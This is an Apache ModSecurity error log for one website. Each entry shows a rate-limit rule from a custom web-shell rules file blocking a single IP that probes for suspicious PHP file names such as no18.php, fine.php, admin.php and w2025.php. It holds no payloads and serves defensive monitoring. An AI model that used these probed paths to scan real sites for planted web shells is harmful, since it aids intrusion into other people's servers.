[Fri Apr 10 16:24:15.482978 2026] [:error] [pid 13189:tid 13201] [client 172.213.241.33:11164] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adizr5AxiJKPums3eBAVlAAAAEk"]
[Fri Apr 10 16:24:15.959695 2026] [:error] [pid 13101:tid 13157] [client 172.213.241.33:11145] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adizr98Ldw85818pj2pitQAAAJg"]
[Fri Apr 10 16:24:16.457659 2026] [:error] [pid 13101:tid 13154] [client 172.213.241.33:11183] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adizsN8Ldw85818pj2piuAAAAJU"]
[Fri Apr 10 16:24:16.941256 2026] [:error] [pid 13102:tid 13162] [client 172.213.241.33:10816] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adizsP9xLvjW2guI55YRZAAAAAI"]
[Fri Apr 10 16:24:17.411910 2026] [:error] [pid 13189:tid 13208] [client 172.213.241.33:11262] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adizsZAxiJKPums3eBAVmQAAAFA"]
[Fri Apr 10 16:24:17.946686 2026] [:error] [pid 13100:tid 13114] [client 172.213.241.33:11224] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adizsVzg-ZkZ0InWIP1UWwAAAQk"]
[Fri Apr 10 16:24:18.406677 2026] [:error] [pid 3934:tid 3939] [client 172.213.241.33:11070] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adizsoa41m-BS8mg82cHygAAAMA"]
[Fri Apr 10 16:24:18.887075 2026] [:error] [pid 13100:tid 13105] [client 172.213.241.33:11082] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adizslzg-ZkZ0InWIP1UYQAAAQA"]
[Fri Apr 10 16:24:19.378317 2026] [:error] [pid 3934:tid 3943] [client 172.213.241.33:11029] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adizs4a41m-BS8mg82cH0wAAAMQ"]
[Fri Apr 10 16:24:19.845048 2026] [:error] [pid 13101:tid 13143] [client 172.213.241.33:11033] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adizs98Ldw85818pj2pixgAAAIo"]
[Fri Apr 10 16:24:20.325926 2026] [:error] [pid 3934:tid 3959] [client 172.213.241.33:10944] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adiztIa41m-BS8mg82cH3gAAANQ"]
[Fri Apr 10 16:24:20.791440 2026] [:error] [pid 3934:tid 3941] [client 172.213.241.33:11100] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adiztIa41m-BS8mg82cH4AAAAMI"]
[Fri Apr 10 16:24:21.269511 2026] [:error] [pid 13101:tid 13150] [client 172.213.241.33:11198] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adiztd8Ldw85818pj2pi1AAAAJE"]
[Fri Apr 10 16:24:21.804557 2026] [:error] [pid 13189:tid 13212] [client 172.213.241.33:11248] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adiztZAxiJKPums3eBAVoAAAAFQ"]
[Fri Apr 10 16:24:22.364170 2026] [:error] [pid 13100:tid 13122] [client 172.213.241.33:11062] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adiztlzg-ZkZ0InWIP1UawAAARE"]
[Fri Apr 10 16:24:22.863678 2026] [:error] [pid 13189:tid 13208] [client 172.213.241.33:11097] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adiztpAxiJKPums3eBAVpgAAAFA"]
[Fri Apr 10 16:24:23.330444 2026] [:error] [pid 13100:tid 13118] [client 172.213.241.33:11016] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adizt1zg-ZkZ0InWIP1UcwAAAQ0"]
[Fri Apr 10 16:24:23.797927 2026] [:error] [pid 13189:tid 13202] [client 172.213.241.33:11018] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adizt5AxiJKPums3eBAVsQAAAEo"]
[Fri Apr 10 16:24:24.261813 2026] [:error] [pid 13101:tid 13140] [client 172.213.241.33:11042] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adizuN8Ldw85818pj2pi3wAAAIc"]
[Fri Apr 10 16:24:24.754360 2026] [:error] [pid 13100:tid 13128] [client 172.213.241.33:11195] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adizuFzg-ZkZ0InWIP1UegAAARc"]
[Fri Apr 10 16:24:25.237699 2026] [:error] [pid 13189:tid 13200] [client 172.213.241.33:11013] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adizuZAxiJKPums3eBAVtwAAAEg"]
[Fri Apr 10 16:24:25.753304 2026] [:error] [pid 13189:tid 13208] [client 172.213.241.33:11089] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adizuZAxiJKPums3eBAVuQAAAFA"]
[Fri Apr 10 16:24:26.217318 2026] [:error] [pid 13100:tid 13119] [client 172.213.241.33:11045] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adizulzg-ZkZ0InWIP1UfgAAAQ4"]
[Fri Apr 10 16:24:26.723166 2026] [:error] [pid 13101:tid 13151] [client 172.213.241.33:10826] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "adizut8Ldw85818pj2pi6gAAAJI"]
[Fri Apr 10 16:24:27.249524 2026] [:error] [pid 13102:tid 13161] [client 172.213.241.33:11125] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "adizu_9xLvjW2guI55YRcgAAAAE"]
[Fri Apr 10 16:24:27.729000 2026] [:error] [pid 13102:tid 13177] [client 172.213.241.33:11132] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "adizu_9xLvjW2guI55YRdgAAABE"]
[Fri Apr 10 16:24:28.194999 2026] [:error] [pid 13189:tid 13212] [client 172.213.241.33:11076] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "adizvJAxiJKPums3eBAVxAAAAFQ"]
[Fri Apr 10 16:24:28.662487 2026] [:error] [pid 13102:tid 13184] [client 172.213.241.33:11071] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adizvP9xLvjW2guI55YReAAAABg"]
[Fri Apr 10 16:24:29.126941 2026] [:error] [pid 13100:tid 13119] [client 172.213.241.33:10834] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adizvVzg-ZkZ0InWIP1UjAAAAQ4"]
[Fri Apr 10 16:24:29.593625 2026] [:error] [pid 13100:tid 13107] [client 172.213.241.33:10955] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adizvVzg-ZkZ0InWIP1UjwAAAQI"]
[Fri Apr 10 16:24:30.063118 2026] [:error] [pid 13102:tid 13178] [client 172.213.241.33:11081] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adizvv9xLvjW2guI55YRfAAAABI"]
[Fri Apr 10 16:24:30.536204 2026] [:error] [pid 3934:tid 3955] [client 172.213.241.33:11084] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adizvoa41m-BS8mg82cH-wAAANA"]
[Fri Apr 10 16:24:31.050820 2026] [:error] [pid 13102:tid 13175] [client 172.213.241.33:11102] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adizv_9xLvjW2guI55YRgQAAAA8"]
[Fri Apr 10 16:24:31.527778 2026] [:error] [pid 13102:tid 13171] [client 172.213.241.33:10955] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adizv_9xLvjW2guI55YRggAAAAs"]
[Fri Apr 10 16:24:32.033757 2026] [:error] [pid 13100:tid 13125] [client 172.213.241.33:11109] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adizwFzg-ZkZ0InWIP1UnAAAARQ"]
[Fri Apr 10 16:24:32.499758 2026] [:error] [pid 13100:tid 13119] [client 172.213.241.33:11117] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "adizwFzg-ZkZ0InWIP1UnQAAAQ4"]
[Fri Apr 10 16:24:32.982067 2026] [:error] [pid 13101:tid 13152] [client 172.213.241.33:11127] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "adizwN8Ldw85818pj2pjAwAAAJM"]
[Fri Apr 10 16:24:33.493685 2026] [:error] [pid 13100:tid 13113] [client 172.213.241.33:10873] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "adizwVzg-ZkZ0InWIP1UnwAAAQg"]
[Fri Apr 10 16:24:33.960538 2026] [:error] [pid 13189:tid 13209] [client 172.213.241.33:11134] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "adizwZAxiJKPums3eBAV0wAAAFE"]
[Fri Apr 10 16:24:34.425573 2026] [:error] [pid 13102:tid 13167] [client 172.213.241.33:11152] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "adizwv9xLvjW2guI55YRjgAAAAc"]
[Fri Apr 10 16:24:34.901802 2026] [:error] [pid 13102:tid 13184] [client 172.213.241.33:11034] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "adizwv9xLvjW2guI55YRnAAAABg"]
[Fri Apr 10 16:24:35.371193 2026] [:error] [pid 13100:tid 13123] [client 172.213.241.33:11059] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "adizw1zg-ZkZ0InWIP1UpQAAARI"]
[Fri Apr 10 16:24:35.833735 2026] [:error] [pid 3934:tid 3949] [client 172.213.241.33:11128] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "adizw4a41m-BS8mg82cICwAAAMo"]
[Fri Apr 10 16:24:36.299761 2026] [:error] [pid 13189:tid 13196] [client 172.213.241.33:11019] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "adizxJAxiJKPums3eBAV2wAAAEQ"]
[Fri Apr 10 16:24:36.781369 2026] [:error] [pid 13189:tid 13210] [client 172.213.241.33:11176] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "adizxJAxiJKPums3eBAV3QAAAFI"]
[Fri Apr 10 16:24:37.256556 2026] [:error] [pid 13189:tid 13214] [client 172.213.241.33:11083] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "adizxZAxiJKPums3eBAV4AAAAFY"]
[Fri Apr 10 16:24:37.727184 2026] [:error] [pid 13102:tid 13161] [client 172.213.241.33:11148] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "adizxf9xLvjW2guI55YRsgAAAAE"]
[Fri Apr 10 16:24:38.205210 2026] [:error] [pid 13189:tid 13193] [client 172.213.241.33:11039] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "adizxpAxiJKPums3eBAV6AAAAEE"]
[Fri Apr 10 16:24:38.697851 2026] [:error] [pid 13101:tid 13137] [client 172.213.241.33:11107] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "adizxt8Ldw85818pj2pjGQAAAIQ"]
[Fri Apr 10 16:24:39.159951 2026] [:error] [pid 3934:tid 3942] [client 172.213.241.33:11129] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "adizx4a41m-BS8mg82cIFwAAAMM"]
[Fri Apr 10 16:24:39.652822 2026] [:error] [pid 3934:tid 3945] [client 172.213.241.33:11167] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "adizx4a41m-BS8mg82cIIAAAAMY"]
[Fri Apr 10 16:24:40.118663 2026] [:error] [pid 3934:tid 3954] [client 172.213.241.33:11030] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adizyIa41m-BS8mg82cIKQAAAM8"]
[Fri Apr 10 16:24:40.590663 2026] [:error] [pid 13101:tid 13147] [client 172.213.241.33:11234] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adizyN8Ldw85818pj2pjGwAAAI4"]
[Fri Apr 10 16:24:46.444221 2026] [:error] [pid 3934:tid 3952] [client 172.213.241.33:11009] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "adizzoa41m-BS8mg82cIWwAAAM0"]
[Fri Apr 10 16:24:46.941573 2026] [:error] [pid 13101:tid 13142] [client 172.213.241.33:11094] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "adizzt8Ldw85818pj2pjLgAAAIk"]
[Fri Apr 10 16:24:47.443811 2026] [:error] [pid 13189:tid 13212] [client 172.213.241.33:11150] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "adizz5AxiJKPums3eBAWCgAAAFQ"]
